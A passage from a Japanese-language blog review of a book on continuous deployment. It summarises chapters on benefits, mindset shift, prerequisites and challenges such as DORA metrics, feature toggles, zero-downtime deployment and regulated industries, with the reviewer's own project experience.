Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 